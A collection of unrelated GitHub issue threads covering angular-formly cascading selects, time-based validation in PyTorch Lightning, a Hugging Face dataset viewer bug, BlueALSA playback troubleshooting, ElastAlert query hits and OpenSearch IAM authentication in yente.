https://github.com/formly-js/angular-formly/issues/202#issuecomment-78473359
.

My username is: kentcdodds
Still totally love jsbin. Thanks @remy!

@kentcdodds the URL you pasted for example no longer exists. It has changed to http://angular-formly.com/#/example/other/async-select-options-with-controller
(formly-js.github.io/angular-formly to formly.com)

Thanks for the update @jesperronn :-) I've updated my comment.

Hi @kentcdodds, great example at http://angular-formly.com/#/example/other/async-select-options-with-controller
My question is, if model.englishMonarchs has an initial value of 'Cnut', how do I get the list to show that as the selected value once the data is returned?

@kentcdodds How to use it for case options dependency by parent controller value
parent.$watch('abc', function(){
  // I want change options in here
})

I had solve this case, i set parent = $scope in parent controller, and put watch in field controller

Hi,
i'm using this link "http://angular-formly.com/#!/example/other/filter-select" to make a cascading drop-down in ng formly and it bindat first time but when i change value in first drop-down than value of second drop-down is not changing as it changing in link example. can you help me with this or provide me a sample json for Cascaded Select, Thanks.

how do I add ability to filter the options? i.e. option 2 gets filtered based on values from option1?
http://jsbin.com/nacazuseka/edit?js,output


Is there way to remove excess data (sender utility name, icon) from notifications?

I have this picture of notification:

How do you get rid of the third-party data? Thanks!

Sorry, found this problem here: https://github.com/mikaelbr/node-notifier/issues/71


I know that validation takes a specific time, and in order not to spend more training time on validation, I want to be able to run training once in a specific period of time.
For example, my validation takes 5 minutes (on the CPU, because this is RL). then I want to run it once every 15, so that the time spent on validation is no more than 25% of the total training time.
This is due to the fact that on different machines and servers, learning has a different speed, and if we start from the number of iterations, then it may be that we either have too frequent validation and most of the time is spent on it, or too rare, and we could do it more often if we were guided by the elapsed time from the previous validation.
Yes, I understand that this is not a universal solution, but it is better than counting the number of iterations, as we do now)
When changing the network architecture or even selecting, the time changes iterations begins to change in a more complicated way.
the training itself takes place on the GPU
Pitch
so that you can set a time interval, as is done with max_time , once in which validation will be called. Alternatively, this can be tied to the end of the epoch, roughly speaking, if the timer has come, then as soon as the epoch is over, then we go to do the validation. Or even make an additional flag that would say to do validation when time expires or when time expires and the end of the epoch.
Alternatives
described above
Additional context
slack link https://pytorch-lightning.slack.com/archives/CRBLFHY79/p1655476166180589

Thank you very much for the lightning, we love and use it very much ❤
cc @borda @justusschock @kaushikb11 @awaelchli @rohitgr7 @ninginthecloud

I think this is a great feature request. In many cases, it can be more intuitive to specify the validation interval in time units rather than iterations.
What format would we choose? A string with a postfix for the time scale? E.g.
Trainer(val_check_interval="1000s")  # every n seconds
Trainer(val_check_interval="15m")  # every n minutes
Trainer(val_check_interval="2h")  # every n hours

yep, agreed!

seems to be the optimal solution in this case)
I would also suggest to support the datetime format

*datetime objects

@paantya I wouldn't do that, tbh. This would look like we allow validation only on a certain date (error-prone if you want to rerun tests). I'd advocate for the 3 options provided by @awaelchli (maybe together with what is described here as isoformat, but for that I am not sure about that

Found this was already requested a while back :) #9463

just fyi! If we do this, we might need to change how the progress bar works when val_check_interval is set because we need to know in prior how many batches are going to be processed in total for the main progress bar considering the current behavior.

Another use case:
during operation, collect statistics on how long validation takes, and set this parameter, taking into account the calculated time)

@awaelchli @Borda @justusschock
Just wanted to reiterate interest in this feature. val_check_interval should be able to take a time.
It could be the same as max_time:
max_time (Union[str, timedelta, Dict[str, int], None]) – Stop training after this amount of time has passed. Disabled by default (None). The time duration can be specified in the format DD:HH:MM:SS (days, hours, minutes seconds), as a datetime.timedelta, or a dictionary with keys that will be passed to datetime.timedelta.
Or it could only be for 'DD:HH:MM:SS' strings.
Use Case
Let's say you are doing random hyperparameter selection. Some models might be much bigger and slower than others. However, it's very useful to know which model reaches the best validation score at some particular time, regardless of what it thinks an "epoch" is. This is particularly true when your unsupervised dataset is so large that an epoch will never complete. And that's precisely the time when you are experimenting a lot with very big models, but want to make sure that you aren't going overboard with model capacity versus training time.


ABOUT REID VERSION

As for the reid module in the paper, may I ask which version of reid is used here? Is it proposed by the article BoT: Bag of Tricks and A Strong Baseline for Deep Person Re-identification?

We use the config here, which is the Fast-ReID SBS ResNet50 model:
https://github.com/GerardMaggiolino/Deep-OC-SORT/blob/main/external/fast_reid/configs/Base-SBS.yml
You can refer to the Fast-ReID project: https://github.com/JDAI-CV/fast-reid/blob/master/MODEL_ZOO.md
It's a slightly stronger version of the original BoT, which is the same model BoT-SORT used.


Dataset Viewer issue for nlphuji/winogavil

Link
https://huggingface.co/datasets/nlphuji/winogavil
Description
The dataset viewer is not working for dataset nlphuji/winogavil.
Error details:
Error code:   UnexpectedError
Type is not JSON serializable: PngImageFile

TLDR: Is there an option to ignore a specific dataset field only in the Dataset Viewer, and to keep it as the part of the dataset otherwise?
My dataset includes a field named "candidates" which is a list of strings, where each string is a filename reference.
In the process script (here) I transform each of the filenames to a png.
This code:
winogavil = load_dataset("nlphuji/winogavil", use_auth_token=auth_token)["test"]
print(winogavil[0]['candidates'])
print(winogavil[0]['candidates_images'])

returns the following:
['eagle', 'teepee', 'factory', 'metal', 'ash']
[<PIL.PngImagePlugin.PngImageFile image mode=RGB size=2384x2384 at 0x7F6ABC6AA2D0>, <PIL.PngImagePlugin.PngImageFile image mode=RGB size=1500x1500 at 0x7F6ABC6AA390>, <PIL.PngImagePlugin.PngImageFile image mode=RGB size=1400x1400 at 0x7F6ABC6AAA50>, <PIL.PngImagePlugin.PngImageFile image mode=RGB size=2400x2400 at 0x7F6ABC6AAA10>, <PIL.PngImagePlugin.PngImageFile image mode=RGB size=900x900 at 0x7F6ABC6AA4D0>]

This is the intended use for my dataset, and the only gap is that it does not work in the Dataset Viewer.
Ideally, it will show each image name as string, and have an option to "click" it and to show image.

Do you have a support for a list of images in the Dataset Viewer?
If not, is there an option just to eliminate the "candidate_images" field ONLY in the viewer, and keep it as a part of the dataset (with load_dataset)?

This colab shows a usage example for my dataset with huggingface, if that helps.
I managed to reach a solution by defining it as a list of strings rather than images:
#"candidates_images": [img]
"candidates_images": [datasets.Value("string")]

It means that this field will hold the strings and the dataset user will need to read it to an image object.
Now ['candidates_images'][0] is
'/root/.cache/huggingface/datasets/downloads/extracted/0d79b7f800bd172835f30786bdc7e6b20178375a9b927086b7f1ce0af27d63d4/winogavil_images/eagle.jpg'
And its possible to read it with Pillow.Image.open
This solution is fine with me, but I am wondering if there is a better solution.
Thanks!

Thanks for reporting, it's a bug indeed.
Note that we already thought of the case, see
https://github.com/huggingface/datasets-server/blob/dbd54ee1c41a25ccb86fd8a9ac0ce704da18a63c/services/worker/src/worker/features.py#L102-L104
We should return a list of image URLs, and show them in the dataset viewer.

Thanks for the response. Is it going to be fixed? If so, i'll revert it to be a list of images instead of a list strings, whenever the change occurs.

Yes, I'm working on it. I'll ping you when it's deployed so that you can revert.

#592 fixes the error. The /first-rows now returns a list of image URLs:
https://datasets-server.huggingface.co/first-rows?dataset=severo/winogavil&config=TEST&split=test

For the moment, the dataset viewer on the Hub does not support lists of images, thus shows the JSON content of the cell.
https://huggingface.co/datasets/severo/winogavil/viewer/TEST/test

I'll be working on updating the dataset viewer on the Hub.
@yonatanbitton you should already be able to switch back to the previous version of the dataset and see the contents of the dataset.

Thank you very much @severo.
I've tried to revert back, but received another problem when I tried to filter:
winogavil_specific_num_candidates = winogavil.filter(lambda example: example['num_candidates'] == NUM_CANDIDATES)
This line took too long and crushed several times.
I thought it was because the dataset held images instead of image paths (which is heavier structure), and when I reverted back to list of image paths it was fixed. Therefore I now again hold a list of image paths and it's fine with me.
I think we can close it. Thank you.

Hi @yonatanbitton: we now support the lists of images in the dataset viewer, see https://huggingface.co/datasets/severo/winogavil for example (it's one commit behind your repository)

Feel free to update your repository if you want to show the images in the viewer.
Thanks again for raising the issue.

Hi again. I am using the images list which is great. However, the problem I reported in the Sep 27 still occurs. I suspect that the data is contained in a non-lazy structure which make it take too much RAM (and eventually crush) when trying to work with it.
For example, even trying to convert the dataset to dataframe takes too long and crushes.
Is there an option to check it?
I'm currently using this notebook: https://colab.research.google.com/drive/19qcPovniLj2PiLlP75oFgsK-uhTr6SSi#scrollTo=lLl0AXq9f5jB
You can reproduce the error by trying to filter
winogavil_specific_num_candidates = winogavil.filter(lambda example: example['num_candidates'] == 12)
Or by converting it to a dataframe.
Thanks!

As https://github.com/huggingface/datasets-server/issues/587#issuecomment-1328171254 is not directly related to this issue anymore, maybe you could open a new issue in https://github.com/huggingface/datasets/ instead, or create a discussion in your repo https://huggingface.co/datasets/nlphuji/winogavil/discussions. cc @albertvillanova


Contentful.SysData missing important information

In previous versions, the map that has been replaced with Contentful.SysData contained a number of important fields. These included:
...
  sys: %{
    contentType: %{
      sys: %{
        id: "<content-type-from-model>",  # for example: "author"
        ...
      }
    },
    createdAt: "<created-timestamp>",
    updatedAt: "<updated-timestamp>",
    locale: "<locale-string>",  # eg: "en-GB",
    ...
  }
...

I'd like to update to the latest Contentful version, but my system is reliant on these fields.
Can these fields be returned to the Contentful.Entry/Contentful.Asset or Contentful.SysData structs?

Absolutely.
thanks for reporting!


Couldn't get BlueALSA transport: No such device

I get this just trying to aplay -D bluealsa foo.wav. I think I've followed the instructions - the only tweak was to change the group permissions on /var/run/bluealsa.
ran bluealsa as root
.asoundrc as per the README
20-bluealsa.conf is there
How to troubleshoot, please?
Edit: should've said - BT device (JBL Flip 3) is paired, trusted and connected OK.

I'm experiencing the same issue.
ALSA lib bluealsa-pcm.c:659:(_snd_pcm_bluealsa_open) Couldn't get BlueALSA transport: No such device
aplay: main:788: audio open error: No such device

bluealsa under strace -fx show these lines
[pid 28763] recvfrom(10, "\x04\x00\x00\x00\x5b\xdd\xdc\x26\xc6\x88\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 24, MSG_DONTWAIT, NULL, NULL) = 24
[pid 28763] sendto(10, "\x02", 1, MSG_NOSIGNAL, NULL, 0) = 1

when running this aplay command:
aplay -D bluealsa:HCI=hci0,DEV=88:C6:26:DC:DD:5B,PROFILE=a2dp click.wav

bluetoothctl indicates that the sound device is connected:
Device 88:C6:26:DC:DD:5B
	Name: Jaybird X3
	Alias: Jaybird X3
	Class: 0x00240418
	Icon: audio-card
	Paired: yes
	Trusted: yes
	Blocked: no
	Connected: yes
	LegacyPairing: no
	UUID: Serial Port               (00001101-0000-1000-8000-00805f9b34fb)
	UUID: Headset                   (00001108-0000-1000-8000-00805f9b34fb)
	UUID: Audio Source              (0000110a-0000-1000-8000-00805f9b34fb)
	UUID: Audio Sink                (0000110b-0000-1000-8000-00805f9b34fb)
	UUID: A/V Remote Control Target (0000110c-0000-1000-8000-00805f9b34fb)
	UUID: A/V Remote Control        (0000110e-0000-1000-8000-00805f9b34fb)
	UUID: Handsfree                 (0000111e-0000-1000-8000-00805f9b34fb)
	UUID: PnP Information           (00001200-0000-1000-8000-00805f9b34fb)
 	Modalias: bluetooth:v01DAp0003d0122

I am on current Debian testing with the following libraries:
libbluetooth3: 5.47
GLib: 2.54.1
sbc: 1.3
alsa (libasound2): 1.1.3

Does amixer -D bluealsa show anything?

Yes:
Simple mixer control 'Jaybird X3 - A2DP',0
  Capabilities: pvolume pswitch
  Playback channels: Front Left - Front Right
  Limits: Playback 0 - 127
  Mono:
  Front Left: Playback 127 [100%] [on]
  Front Right: Playback 127 [100%] [on]
Simple mixer control 'Jaybird X3 - SCO',0
  Capabilities: pvolume pvolume-joined cvolume cvolume-joined pswitch pswitch-joined cswitch cswitch-joined
  Playback channels: Mono
  Capture channels: Mono
  Limits: Playback 0 - 15 Capture 0 - 15
  Mono: Playback 15 [100%] [on] Capture 15 [100%] [on]
Simple mixer control 'Jaybird X3 | Battery',0
  Capabilities: pvolume pvolume-joined
  Playback channels: Mono
  Limits: Playback 0 - 100
  Mono: Playback 0 [0%]

Following that command aplay magically started to work. But then I stopped and started bluealsa, and now amixer reports something else:
Simple mixer control 'Jaybird X3 - SCO',0
  Capabilities: pvolume pvolume-joined cvolume cvolume-joined pswitch pswitch-joined cswitch cswitch-joined
  Playback channels: Mono
  Capture channels: Mono
  Limits: Playback 0 - 15 Capture 0 - 15
  Mono: Playback 15 [100%] [on] Capture 15 [100%] [on]
Simple mixer control 'Jaybird X3 | Battery',0
  Capabilities: pvolume pvolume-joined
  Playback channels: Mono
  Limits: Playback 0 - 100
  Mono: Playback 0 [0%]

And aplay fails as before.
I should mention that pulseaudio is also running on my system.

I should mention that pulseaudio is also running on my system.

See paragraph 1: https://github.com/Arkq/bluez-alsa#troubleshooting
The explanation how Bluez works is not 100% correct in this paragraph (I was writing it when my knowledge wasn't so extensive as it is now), however using PulseAudio and BlueALSA at the same time isn't the best idea there. In short, if you want to use BlueALSA instead of PulseAudio, you have to unload Bluetooth-realted modules.
@graham8, if you are also running PulseAudio and BluezALSA together, then aplay -D bluealsa won't work as well.
Explanation with some more details
In order to connect Bluetooth device using A2DP profile, one has to register A2DP handler in the Bluetooth stack (Bluez). This handler is used for incoming connection. Once the connection is established, handler is used and no more A2DP connections is allowed. In order to connect more devices (using A2DP), one has to register more handlers. PulseAudio registers one A2DP handler for Sink and one for Source (I'm not 100% sure, so someone might confirm this). If PulseAudio service starts before BlueALSA, then the handler from the PulseAudio is used (if it matches codec settings) - handlers are used in the registration order. Next device though is connected with the BluezALSA (next free handler). When, the handler is used, BluezALSA registers one more handler, so one can connect third device, then again one more handler is registered, and so on... So, if one wants to use BlueALSA, PulseAudio (and any other application which registers A2DP profile in Bluez) has to be properly configured - Bluetooth support has to be disabled.

Thanks. Killing pulseaudio and restarting bluetoothd fixed this issue for me. I still can't hear the sound, but this is most likely a different problem.

No, I'm not running pulse although libpulse is there for some reason.  After a bit of digging, I added this to /etc/dbus-1/system.d/bluetooth.conf:

Now, aplay seems to start up but I get no sound:
osmc@vero:~$ aplay -D bluealsa:DEV=FC:A8:9A:B3:42:4F TestFiles/blind1full.WAV
../shared/ctl-client.c:102: Connecting to socket: /var/run/bluealsa/hci0
../shared/ctl-client.c:213: Getting transport for FC:A8:9A:B3:42:4F type 1bluealsa: ctl.c:554: New client accepted: 10
bluealsa: ctl.c:575: +-+-
bluealsa: ctl.c:575: +-+-
bluealsa-pcm.c:527: Setting constraints
Playing WAVE 'TestFiles/blind1full.WAV' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo
bluealsa-pcm.c:272: Initializing HW
../shared/ctl-client.c:302: Requesting PCM open for FC:A8:9A:B3:42:4F
bluealsa: ctl.c:326: PCM requested for FC:A8:9A:B3:42:4F type 1 stream 0
bluealsa: transport.c:812: New transport: 11 (MTU: R:672 W:672)
bluealsa: ctl.c:575: +-+-
../shared/ctl-client.c:321: Opening PCM FIFO (mode: WR): /var/run/bluealsa/hci0-FC:A8:9A:B3:42:4F-1-0
bluealsa: bluez.c:1028: Signal: PropertiesChanged: org.bluez.MediaTransport1
bluealsa: transport.c:668: State transition: 0 -> 2
bluealsa: io.c:55: Opening FIFO for reading: /var/run/bluealsa/hci0-FC:A8:9A:B3:42:4F-1-0
bluealsa: transport.c:104: Created new IO thread: A2DP Source (SBC)
bluealsa: io.c:409: Starting IO loop: A2DP Source (SBC)
bluealsa-pcm.c:295: FIFO buffer size: 4096
bluealsa-pcm.c:301: Selected HW buffer: 6 periods x 16380 bytes <= 98284 bytes
bluealsa-pcm.c:324: Initializing SW
bluealsa-pcm.c:324: Initializing SW
bluealsa-pcm.c:324: Initializing SW
bluealsa-pcm.c:340: Prepared
bluealsa-pcm.c:324: Initializing SW
bluealsa-pcm.c:205: Starting
../shared/ctl-client.c:390: Requesting PCM resume for FC:A8:9A:B3:42:4F
bluealsa: transport.c:668: State transition: 2 -> 2
bluealsa: ctl.c:575: +-+-
bluealsa-pcm.c:103: Starting IO loop
BT is now disconnected, and I can't re-connect.

Segmentation fault sudo bluealsa

Yikes.... It would be very nice to see some backtrace...

bluealsa: Couldn't initialize controller thread: Address already in use

You have to remove all nodes from the /run/bluealsa/ directory.

Sorry, I'll need instructions on how to do a backtrace.

Back to it.  I've re-compiled/installed bluez-alsa and now I can't get past this message:
osmc@vero:~/TestFiles$ amixer -D bluealsa
amixer: Mixer bluealsa load error: Cannot allocate memory
While on the bluealsa thread, I get:
bluealsa: ctl.c:554: New client accepted: 13
bluealsa: ctl.c:575: +-+-
bluealsa: ctl.c:575: +-+-
bluealsa: ctl.c:527: Invalid request length: 4 != 20
bluealsa: ctl.c:575: +-+-
Then trying to play a file:
osmc@vero:~/TestFiles$ aplay -D bluealsa:DEV=FC:A8:9A:B3:42:4F,PROFILE=a2dp,HCI=hci0 blind1full.WAV
Playing WAVE 'blind1full.WAV' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo
aplay: set_params:1363: Unable to install hw params:
ACCESS:  RW_INTERLEAVED
FORMAT:  S16_LE
SUBFORMAT:  STD
SAMPLE_BITS: 16
FRAME_BITS: 32
CHANNELS: 2
RATE: 44100
PERIOD_TIME: (92879 92880)
PERIOD_SIZE: 4096
PERIOD_BYTES: 16384
PERIODS: 5
BUFFER_TIME:<PHONE_NUMBER>00)
BUFFER_SIZE: 20480
BUFFER_BYTES: 81920
TICK_TIME: 0
with a similar error message from bluealsa about request length.

Closing, if the problem still occurs, please reopen with more info.

What fixed the problem for me was: sudo apt autoremove --purge pulseaudio-module-bluetooth
which removes the module described in https://github.com/Arkq/bluez-alsa/issues/72#issuecomment-351769985


feat(consensus): add milestone 2 state machine

This change is

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#2126  👈
#2125
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @matan-starkware and the rest of your teammates on  Graphite


Add nr1-victory-visualizations listing

Adds the nr1-victory-visualizations project to the OSS site

Hold on merging until we go public with the repo. I can come back to merge this PR after its approved and the repo has been made public.

We just made that repo public, so this PR is good to go. @zstix looks like the titles are supposed to be title case, so I've updated this PR. Would you mind giving a quick re-review?


Icon for snapchat

¿Would you please make an icon for snapchat and one for yevvo?
Thanks! :)

The Snapchat icon is a pain because it requires two colours. I’ll revisit this one day. I’ve added a separate issue for Yevvo (now branded Air).


ElastAlert not getting any Query Hits

Hello,
I'm testing Elasticsearch with ElastAlert to learn how to use them and I encountered a small problem.
First of all, I'm using a training sample which looks like this, size 1000 :
{
      "_index" : "bank",
      "_type" : "account",
      "_id" : "44",
      "_score" : 1.0,
      "_source" : {
        "account_number" : 44,
        "balance" : 34487,
        "firstname" : "Aurelia",
        "lastname" : "Harding",
        "age" : 37,
        "gender" : "M",
        "address" : "502 Baycliff Terrace",
        "employer" : "Orbalix",
        "email"<EMAIL_ADDRESS>        "city" : "Yardville",
        "state" : "DE"
      }

Now I installed ElastAlert and ran.
python -m elastalert.elastalert --verbose --rule example_rules/example_blacklist.yaml
And I get this :

INFO:elastalert:Starting up
WARNING:elasticsearch:GET /elastalert_status/elastalert/_search?size=1000 [status:400 request:0.018s]
INFO:elastalert:Queried rule Example rule from 2016-03-11 03:48 PST to 2016-03-11 04:03 PST: 0 hits
INFO:elastalert:Ran Example rule from 2016-03-11 03:48 PST to 2016-03-11 04:03 PST: 0 query hits, 0 matches, 0 alerts sent
INFO:elastalert:Sleeping for 59 seconds

I have 0 query hits and I don't know why. Looks like the problem is in the WARNING quote but I don't get it either.
I used blacklist as a test because, to me, it looked easier to use on the sample I'm using.
I also tried with Any type without success, and Frequency type which of course wouldn't work here.
example_blacklist.yaml :
es_host: localhost
es_port: 9200
name: Example rule
type: blacklist
index: bank-*
filter:
- term:
    gender: "f"
compare_key: "state"
blacklist:
- "AL"
- "al"
- "DE"
- "de"
- "WY"
- "wy"
- "WV"
- "wv"
alert:
- "email"
email:
-<EMAIL_ADDRESS>
I had no problem hitting what I wanted with Elasticsearch + Query so I don't get why I have 0 hits here. I looked up status 400 before, couldn't find anything.
Thank you

You need timestamped data to use Elastalert.

Ok, I got a new data set with time stamp. But I still have this problem :
WARNING:elasticsearch:GET /elastalert_status/elastalert/_search?size=1000 [status:400 request:0.018s]
The index I'm working on is in elastalert_status, but why is it searching in "elastalert_status/elastalert" ?
There won't be any data in this and how can I change this ?

Please read this section of the documantation. http://elastalert.readthedocs.org/en/latest/elastalert_status.html
Elastalert saves some state in the elastalert_status index to resume where it left off it it is stopped and started. The elastalert _type specifically might be used for aggregated alerts, or retrying alerts that failed. You should not worry about these queries being made.


BUG: Columns don't refresh when importing data (sometime)

BUG REPORT
When importing data (in my case JSON) the columns did not refresh themselves. Some do show the columns, some not.
Screenshot (not showing column)

Screenshot (showing column)

It seems like a bug. But you can work around by clicking: Properties -> Reset button

It seems like a bug. But you can work around by clicking: Properties -> Reset button

That worked, thank you! But the bug should be fixed :D


Opensearch IAM auth

Already posted about this in another ticket, but that issue has been closed since.
Tried using IAM auth to connect to OpenSearch from a container running in EKS, with
https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html
Yente 4.1.0 seems to have updated components that helped, but did not fully resolve the problem.
Using these settings:
export set YENTE_INDEX_TYPE="opensearch"
export set YENTE_INDEX_URL="https://redacted/"
export set YENTE_OPENSEARCH_REGION="eu-central-1"
export set YENTE_OPENSEARCH_SERVICE="es"
The error currently looks like this:
Traceback (most recent call last):
File "/venv/bin/yente", line 33, in
sys.exit(load_entry_point('yente', 'console_scripts', 'yente')())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1157, in call
return self.main(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1078, in main
rv = self.invoke(ctx)
^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1688, in invoke
return _process_result(sub_ctx.command.invoke(sub_ctx))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1434, in invoke
return ctx.invoke(self.callback, **ctx.params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 783, in invoke
return __callback(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/cli.py", line 44, in reindex
asyncio.run(update_index(force=force))
File "/usr/lib/python3.12/asyncio/runners.py", line 194, in run
return runner.run(main)
^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/asyncio/base_events.py", line 687, in run_until_complete
return future.result()
^^^^^^^^^^^^^^^
File "/app/yente/search/indexer.py", line 188, in update_index
async with with_provider() as provider:
File "/usr/lib/python3.12/contextlib.py", line 210, in aenter
return await anext(self.gen)
^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/init.py", line 47, in with_provider
provider = await _create_provider()
^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/init.py", line 25, in _create_provider
return await OpenSearchProvider.create()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/opensearch.py", line 54, in create
await es.cluster.health(wait_for_status="yellow", timeout=5)
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/client/cluster.py", line 131, in health
return await self.transport.perform_request(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 375, in perform_request
await self._async_call()
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 198, in _async_call
await self._async_init()
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 163, in _async_init
self.set_connections(self.hosts)
File "/venv/lib/python3.12/site-packages/opensearchpy/transport.py", line 255, in set_connections
connections = list(zip(map(_create_connection, hosts), hosts))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/transport.py", line 253, in _create_connection
return self.connection_class(metrics=self.metrics, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/http_aiohttp.py", line 149, in init
self.headers.update(urllib3.make_headers(basic_auth=http_auth))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/urllib3/util/request.py", line 121, in make_headers
] = f"Basic {b64encode(basic_auth.encode('latin-1')).decode()}"
^^^^^^^^^^^^^^^^^
AttributeError: 'AWSV4SignerAuth' object has no attribute 'encode'
According to this discussion, adding these args to the opensearch provider here should help:
connection_class = RequestsHttpConnection

Thanks for doing all this research, Josef! The only challenge I have with the discussion in the ticket is that they're talking sync Python, and we're using async. There's a similar ticket here talking about async: https://github.com/opensearch-project/opensearch-py/issues/698 - which introduces yet another class, AWSV4SignerAsyncAuth.
Maybe I can ask for your help on this: if I make that change in main, would you be able to run a specific docker hash to check if it works?

It's in this commit, building docker now: https://github.com/opensanctions/yente/commit/1c26099a8a043baf35aa2fbe7640d36daf89100d

Thanks a lot, will try it later today!

tried it, but still getting the same error.
Will try a manual build with this later:
connection_class = RequestsHttpConnection

I'd be really surprised to see that work, since requests is a sync library. Can you share with me the updated stack trace from running this version, and I'll file a report on opensearch-py?

You are right, it did not help.
Here's the stack trace coming out of ghcr.io/opensanctions/yente:sha-b18443a image
Traceback (most recent call last):
File "/venv/bin/yente", line 33, in
sys.exit(load_entry_point('yente', 'console_scripts', 'yente')())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1157, in call
return self.main(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1078, in main
rv = self.invoke(ctx)
^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1688, in invoke
return _process_result(sub_ctx.command.invoke(sub_ctx))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 1434, in invoke
return ctx.invoke(self.callback, **ctx.params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/click/core.py", line 783, in invoke
return __callback(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/cli.py", line 44, in reindex
asyncio.run(update_index(force=force))
File "/usr/lib/python3.12/asyncio/runners.py", line 194, in run
return runner.run(main)
^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/asyncio/base_events.py", line 687, in run_until_complete
return future.result()
^^^^^^^^^^^^^^^
File "/app/yente/search/indexer.py", line 188, in update_index
async with with_provider() as provider:
File "/usr/lib/python3.12/contextlib.py", line 210, in aenter
return await anext(self.gen)
^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/init.py", line 47, in with_provider
provider = await _create_provider()
^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/init.py", line 25, in _create_provider
return await OpenSearchProvider.create()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/yente/provider/opensearch.py", line 54, in create
await es.cluster.health(wait_for_status="yellow", timeout=5)
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/client/cluster.py", line 131, in health
return await self.transport.perform_request(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 375, in perform_request
await self._async_call()
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 198, in _async_call
await self._async_init()
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/transport.py", line 163, in _async_init
self.set_connections(self.hosts)
File "/venv/lib/python3.12/site-packages/opensearchpy/transport.py", line 255, in set_connections
connections = list(zip(map(_create_connection, hosts), hosts))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/transport.py", line 253, in _create_connection
return self.connection_class(metrics=self.metrics, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/opensearchpy/_async/http_aiohttp.py", line 149, in init
self.headers.update(urllib3.make_headers(basic_auth=http_auth))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/venv/lib/python3.12/site-packages/urllib3/util/request.py", line 121, in make_headers
] = f"Basic {b64encode(basic_auth.encode('latin-1')).decode()}"
^^^^^^^^^^^^^^^^^
AttributeError: 'AWSV4SignerAsyncAuth' object has no attribute 'encode'

So I made this experiment but that won't even pass our tests (breaks opensearch): https://github.com/opensanctions/yente/commit/196691dc11df73c251a19711d4a9a2dd92b67d75
I think it's just broken. Will need to file a ticket upstream.

I tried the same thing yesterday, but AsyncHttpConnection seems to have another bug: it doesn't properly translate HTTP error codes. If you look at the build log, it looks like all server-side errors (400 etc.) are being translated into HTTP 500 errors, which messes up all of our error handling downstream in the app.

I have seen this on my test deployment too.
It seems like it's trying to create a new temporary index with the same name as a previous one.
In my case i thought it was related to a previous interrupted reindex run. Removing the index from opensearch solved it.

Unfortunately can't say much about the 400->500 thing, as i'm not familiar with python or the codebase.


⚠ Bofrost.de has degraded performance

In ec261d3, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 937 ms

Resolved: Bofrost.de performance has improved in 0a79636.


Parallel test runs using different browsers

